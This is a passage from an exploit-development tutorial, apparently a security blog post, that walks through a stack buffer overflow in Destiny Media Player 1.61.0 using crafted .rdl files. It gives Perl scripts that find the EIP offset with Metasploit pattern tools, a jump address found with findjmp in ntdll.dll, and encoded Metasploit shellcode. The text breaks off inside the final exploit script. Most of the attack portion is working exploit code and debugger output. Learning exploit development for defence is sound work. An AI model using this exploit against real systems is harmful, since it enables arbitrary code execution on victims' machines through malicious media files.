<p>3. Create a pattern for 500 characters using pattern_create.rb ruby script as shown below.</p>
<div class="examplecode">
<p>$ cd ../../msf3/tools</p>
<p>$ ./pattern_create.rb 500<br />
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5<br />
Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1A<br />
f2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah<br />
9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9<br />
Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6<br />
An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2A<br />
q3Aq4Aq5Aq</p>
</div>
<p>4.  Open notepad and copy this perl code.</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit2.pl">Exploit2.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6818"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
</pre></td><td class="code" id="p68code18"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio3.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4000<span style="color: #339933;">;</span>
<span style="color: #666666; font-style: italic;"># . is used for concatenation</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkB</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9&quot;</span><span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;Aq0Aq1Aq2Aq3Aq4Aq5Aq&quot;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$junkB</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>5. Save this file as Exploit3.pl.</p>
<p>6. Open command prompt and enter perl Exploit3.pl.</p>
<p>7. Double click the generated radio3.rdl file, it opens windows debugger.</p>
<p style="text-align: center;"><a href="../wp-content/uploads/2010/07/WindbgOffset.jpg"><img class="aligncenter" title="WindbgOffset" src="../wp-content/uploads/2010/07/WindbgOffset.jpg" alt="" width="706" height="248" /></a></p>
<p>8. EIP is overwritten with 41346f41, now we will use Metasploit tool pattern_offset to calculate size of buffer to overwrite EIP.</p>
<p>9. Open cygwinshell and run the ruby script as shown below</p>
<div class="examplecode">Administrator@pc /msf3/tools<br />
$ ./pattern_offset.rb 41346f41 500<br />
432</div>
<p>10. Now if we will construct our buffer as 4000 + 432 A&#8217;s and &#8220;BBBB&#8221; then BBBB will overwrite EIP.</p>
<p>Buffer look like<br />
[AAAAAAA ...... ][BBBB][CCCC....]<br />
4432 A&#8217;s             EIP   500 C&#8217;s</p>
<p>11. Open notepad, copy this perl code and  save this file as Exploit4.pl. .</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit4.pl">Exploit4.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6819"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p68code19"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio4.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4432<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;BBBB&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkC</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;C&quot;</span>x500<span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$eip</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$junkC</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>12. Open command prompt and enter perl Exploit4.pl.</p>
<p>13. Double click the generated radio4.rdl file, it opens windows debugger.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/08/WindbgExactOffset.jpg"><img class="aligncenter size-full wp-image-82" title="WindbgExactOffset" src="http://www.secsavvy.com/wp-content/uploads/2010/08/WindbgExactOffset.jpg" alt="" width="706" height="312" /></a></p>
<p>EIP is overwritten with 4 B&#8217;s(42424242) so now we know the exact position in our buffer and esp is overwritten with C&#8217;s. We can put our shellcode instead of C&#8217;s and overwrite EIP to jump to the esp address.. But we don&#8217;t know exactly where first C start. So let&#8217;s find it out by changing the perl script.<br />
<code></code></p>
<div class="highlighter">Step 4</div>
<p></br><br />
1. Open notepad and copy this perl code and save it as Exploit5.pl</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit5.pl">Exploit5.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6820"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
</pre></td><td class="code" id="p68code20"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio5.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4432<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;BBBB&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkC</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A1234567890123456789B1234567890123456789C1234567890123456789D1234567890123456789E123456789F123456789G&quot;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$eip</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$junkC</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>2 . Execute this perl script which creates radio5.rdl and double click the radio5.rdl and it open WinDbg.</p>
<p><a href="http://www.secsavvy.com/wp-content/uploads/2010/08/WinDbgExactC.jpg"><img class="aligncenter size-full wp-image-83" title="WinDbgExactC" src="http://www.secsavvy.com/wp-content/uploads/2010/08/WinDbgExactC.jpg" alt="" width="706" height="308" /></a></p>
<p>In this case it starts exactly at start of esp at  00313c4c but if it doesn&#8217;t start then we need to put some NOP( no operation ) before shellcode.<br />
<code></code></p>
<div class="highlighter">Step 5</div>
<p></br><br />
1. We can easily generate shellcode with Metasploit. For more details to generate shellcode watch this <a href="http://www.secsavvy.com/exploit-development/generating-shellcode" target="_blank">Video tutorial</a>.</p>
<div class="examplecode"># windows/exec &#8211; 144 bytes<br />
# http://www.metasploit.com<br />
# Encoder: x86/shikata_ga_nai<br />
# EXITFUNC=seh, CMD=calc<br />
my $shellcode = &#8220;\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1&#8243; .<br />
&#8220;\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30&#8243; .<br />
&#8220;\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa&#8221; .<br />
&#8220;\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96&#8243; .<br />
&#8220;\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b&#8221; .<br />
&#8220;\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a&#8221; .<br />
&#8220;\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83&#8243; .<br />
&#8220;\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98&#8243; .<br />
&#8220;\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61&#8243; .<br />
&#8220;\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05&#8243; .<br />
&#8220;\x7f\xe8\x7b\xca&#8221;;</div>
<p>2. So perl code with shellcode</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit6.pl">Exploit6.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6821"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
</pre></td><td class="code" id="p68code21"><pre class="perl" style="font-family:monospace;"><span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio6.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4432<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip</span><span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;BBBB&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># windows/exec - 144 bytes</span>
<span style="color: #666666; font-style: italic;"># http://www.metasploit.com</span>
<span style="color: #666666; font-style: italic;"># Encoder: x86/shikata_ga_nai</span>
<span style="color: #666666; font-style: italic;"># EXITFUNC=seh, CMD=calc</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>16<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>b1&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1e<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>18<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>fc<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>68<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>30&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>bc<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>f3<span style="color: #000099; font-weight: bold;">\x</span>b4<span style="color: #000099; font-weight: bold;">\x</span>ae<span style="color: #000099; font-weight: bold;">\x</span>7d<span style="color: #000099; font-weight: bold;">\x</span>02<span style="color: #000099; font-weight: bold;">\x</span>aa&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>3a<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>1c<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>1d<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>d5<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>29<span style="color: #000099; font-weight: bold;">\x</span>21<span style="color: #000099; font-weight: bold;">\x</span>e7<span style="color: #000099; font-weight: bold;">\x</span>96&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>60<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>ca<span style="color: #000099; font-weight: bold;">\x</span>06<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>14<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>fb<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f0<span style="color: #000099; font-weight: bold;">\x</span>27<span style="color: #000099; font-weight: bold;">\x</span>dd<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>22<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>1b<span style="color: #000099; font-weight: bold;">\x</span>a2<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>c3<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>7a&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>cf<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>23<span style="color: #000099; font-weight: bold;">\x</span>d3<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>a4<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>f7<span style="color: #000099; font-weight: bold;">\x</span>d8<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>8e<span style="color: #000099; font-weight: bold;">\x</span>83&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>a1<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>cd<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c6<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>c1<span style="color: #000099; font-weight: bold;">\x</span>7e<span style="color: #000099; font-weight: bold;">\x</span>98&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>f5<span style="color: #000099; font-weight: bold;">\x</span>aa<span style="color: #000099; font-weight: bold;">\x</span>f1<span style="color: #000099; font-weight: bold;">\x</span>05<span style="color: #000099; font-weight: bold;">\x</span>a8<span style="color: #000099; font-weight: bold;">\x</span>26<span style="color: #000099; font-weight: bold;">\x</span>99<span style="color: #000099; font-weight: bold;">\x</span>3d<span style="color: #000099; font-weight: bold;">\x</span>3b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>fe<span style="color: #000099; font-weight: bold;">\x</span>51<span style="color: #000099; font-weight: bold;">\x</span>61&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b6<span style="color: #000099; font-weight: bold;">\x</span>0e<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>85<span style="color: #000099; font-weight: bold;">\x</span>19<span style="color: #000099; font-weight: bold;">\x</span>87<span style="color: #000099; font-weight: bold;">\x</span>b7<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>2f<span style="color: #000099; font-weight: bold;">\x</span>59<span style="color: #000099; font-weight: bold;">\x</span>90<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>d7<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span> <span style="color: #339933;">.</span>
<span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>7f<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>7b<span style="color: #000099; font-weight: bold;">\x</span>ca&quot;</span><span style="color: #339933;">;</span>
&nbsp;
<a href="http://perldoc.perl.org/functions/open.html"><span style="color: #000066;">open</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;&gt;$file&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #0000ff;">$FILE</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$eip</span><span style="color: #339933;">.</span><span style="color: #0000ff;">$shellcode</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/close.html"><span style="color: #000066;">close</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$FILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<a href="http://perldoc.perl.org/functions/print.html"><span style="color: #000066;">print</span></a> <span style="color: #ff0000;">&quot;rdl File Created successfully<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span></pre></td></tr></table></div>

<p>3. Shellocde start at ESP so we can overwrite eip with the address of jmp esp or call esp etc. instruction and jump to our shellocode.</p>
<p>4. Generally we should find address to overwrite EIP in application dll as it make the exploit stable but in this case there is no application dll loaded. so, we will find address in OS dll like ntdll.dll,kernel32.dl,user32.dll etc.</p>
<p>5. For diiferent type of tools available to find address to overwrite EIP you can read this post  <a href="http://www.secsavvy.com/exploit-development/overwrite-eip" target="_blank">How to find addresses to overwrite EIP?? </a></p>
<p>6. I will use findjmp2 to find address in ntdll.dll</p>
<div class="examplecode">
<p>C:\Documents and Settings\Administrator\Desktop&gt;findjmp.exe ntdll.dll esp</p>
<p>Findjmp, Eeye, I2S-LaB<br />
Findjmp2, Hat-Squad<br />
Scanning ntdll.dll for code useable with the esp register<br />
0x7C914663      call esp<br />
0x7C919DB0      push esp &#8211; ret<br />
0x7C95311B      call esp<br />
0x7C9676E2      pop esp &#8211; pop &#8211; retbis<br />
Finished Scanning ntdll.dll for code useable with the esp register<br />
Found 4 usable addresses</p>
</div>
<p>7. Now we can finalize our exploit with address 0x7C914663</p>

<div class="wp_codebox_msgheader"><span class="right"><sup><a href="http://www.ericbess.com/ericblog/2008/03/03/wp-codebox/#examples" target="_blank" title="WP-CodeBox HowTo?"><span style="color: #99cc00">?</span></a></sup></span><span class="left2">Download <a href="http://www.secsavvy.com/wp-content/plugins/wp-codebox/wp-codebox.php?p=68&amp;download=Exploit6.pl">Exploit6.pl</a></span><div class="codebox_clear"></div></div><div class="wp_codebox"><table><tr id="p6822"><td class="line_numbers"><pre>1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
</pre></td><td class="code" id="p68code22"><pre class="perl" style="font-family:monospace;"><span style="color: #666666; font-style: italic;"># Exploit for Destiny Media Player Version 1.61.0</span>
<span style="color: #666666; font-style: italic;"># Tested On windows XP Sp3(En)</span>
<span style="color: #666666; font-style: italic;"># Wriiten by Ayush (www.secsavvy.com)</span>
&nbsp;
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$file</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;radio6.rdl&quot;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$junkA</span><span style="color: #339933;">=</span><span style="color: #ff0000;">&quot;A&quot;</span>x4432<span style="color: #339933;">;</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$eip</span><span style="color: #339933;">=</span> <a href="http://perldoc.perl.org/functions/pack.html"><span style="color: #000066;">pack</span></a><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">'V'</span><span style="color: #339933;">,</span>0x7C914663<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
<span style="color: #666666; font-style: italic;"># windows/exec - 144 bytes</span>
<span style="color: #666666; font-style: italic;"># http://www.metasploit.com</span>
<span style="color: #666666; font-style: italic;"># Encoder: x86/shikata_ga_nai</span>
<span style="color: #666666; font-style: italic;"># EXITFUNC=seh, CMD=calc</span>
<span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellcode</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>db<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>c9<span style="color: #000099; font-weight: bold;">\x</span>bf<span style="color: #000099; font-weight: bold;">\x</span>7c<span style="color: #000099; font-weight: bold;">\x</span>16<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>cc<span style="color: #000099; font-weight: bold;">\x</span>d9<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>f4<span style="color: #000099; font-weight: bold;">\x</span>b1&quot;</span> <span style="color: #339933;">.</span>
